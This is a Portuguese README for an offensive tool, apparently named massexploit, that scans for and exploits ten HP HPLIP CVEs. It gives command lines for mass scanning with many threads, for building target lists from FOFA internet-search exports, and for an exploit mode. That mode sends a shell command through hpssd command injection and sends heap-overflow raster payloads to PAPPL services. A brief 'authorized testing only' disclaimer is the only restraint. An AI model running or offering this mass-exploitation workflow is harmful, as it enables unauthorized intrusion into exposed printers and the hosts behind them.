massexploit — verificador massivo de CVE do HP HPLIP (2026-09)

Driver de verificação massiva e pesquisa de exploit para HP HPLIP < 3.26.6 — CVE-2026-91097 até CVE-2026-91106.

CVE	CVSS 4	CWE	Remoto
CVE-2026-91097	7.0	CWE-787	sim (UI)
CVE-2026-91098	8.6	CWE-122	sim (UI)
CVE-2026-91099	5.1	CWE-61	local
CVE-2026-91100	6.8	CWE-78	local
CVE-2026-91102	8.4	CWE-78	local
CVE-2026-91101	5.1	CWE-129	físico
CVE-2026-91103	5.1	CWE-191	físico
CVE-2026-91104	9.3	CWE-122	sim
CVE-2026-91105	8.6	CWE-122	sim (UI)
CVE-2026-91106	9.3	CWE-122	sim

Corrigido: HPLIP 3.26.6+

Resumo

Superfície	Detecção	Notas de exploit
hpssd :2207	TCP + sonda XML	template de injeção de comando -c id (estilo hpssd legado)
CUPS/IPP :631	Sonda HTTP	Catálogo / fingerprint
HPLIP Printer Application :8000+	UI PAPPL HTTP + string de versão	IPP Print-Job + pesquisa de raster PWG (ZDI-26-656 / PAPPL < 1.4.12) — não saída de shell via HTTP

Resultados FOFA body="hplip" são frequentemente :8000 PAPPL, não :2207. Use host:port nas listas de alvos.

Captura de tela (verificação massiva --flow)

Requisitos

• Python 3.9+
• pip install -r requirements.txt

Uso

pip install -r requirements.txt

# Single target (default ports 631, 2207, 9100 if no port given)
python poc.py -u 192.0.2.10 --mode check

# FOFA port (recommended)
python poc.py -u 192.0.2.10:8000 --mode check --flow

# Mass — all 10 CVEs
python poc.py --list targets.example.txt --mode check -j 30 -q --flow

# Critical network heap CVEs only
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106

# Exploit research (PAPPL on :8000 → IPP raster; -c id only meaningful on hpssd:2207)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id

FOFA → lista de alvos

# Save export as fofa_csv_1049.csv (or pass -i)
python fofa_to_list.py
# list.txt (all) + list_hplip_printer.txt (title hint = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow

Formato da lista de alvos

192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106

Linhas com |CVE… usam a parte antes de | como host (dica opcional de CVE para saída de hits).

CLI

Opção	Descrição
-u / --url	Host, host:port, ou http://host:port
--list	Um alvo por linha
--mode	check ou exploit
--cve	all ou ids de CVE separados por vírgula
-c / --command	Comando shell (apenas tentativas de injeção de comando hpssd)
--heap-size	Tamanho da sonda de heap TCP bruta (padrão 8192)
--threads, -j	Concorrência massiva (padrão 20)
--timeout	Timeout por alvo em segundos (padrão 8)
--flow, -f	Uma linha de resultado por alvo
--output	JSONL (padrão massexploit_results.jsonl)
--vuln-list	hits.txt (check) ou exploited.txt (exploit)

Saída

Arquivo	Conteúdo
massexploit_results.jsonl	JSON completo por host
hits.txt	Candidatos (host|cve,…)

Valores comuns de status na verificação

Status	Significado
hplip_surface_candidate	Porta aberta + mapeamento de versão/CVE
network_surface_version_unknown	TCP aberto, HPLIP/PAPPL provável, versão não lida
no_open_ports	Nada acessível nas portas escaneadas
patched_version	Versão do HPLIP ≥ 3.26.6

Expectativas de exploit

Status	Significado
pappl_raster_sent_no_shell_output	IPP/raster enviado na porta PAPPL; sem id no HTTP (classe de RCE de heap)
exploit_attempted_no_confirm	Tentativa realizada, sem verificação
exploited	Apenas se a resposta corresponder a heurísticas de injeção de comando (raro)

Estrutura do repositório

.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png             
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore

Limitações

• Não é um scanner web genérico — superfícies de impressão / HPLIP TCP+HTTP.
• Sem RCE armado público para 91104/91106 no PAPPL; o caminho de raster é pesquisa alinhada com ZDI-26-656.
• CVEs físicos/locais listados para --cve all mas não exploráveis remotamente em escala.
• Apenas testes autorizados.

Referências

• HP HPSBPI04151
• ZDI-26-656 (PAPPL raster)
• GHSA-p9wg-4p56-7xp6

Legal

Apenas para testes de segurança autorizados. Você é responsável pelo cumprimento das leis aplicáveis e das regras do programa.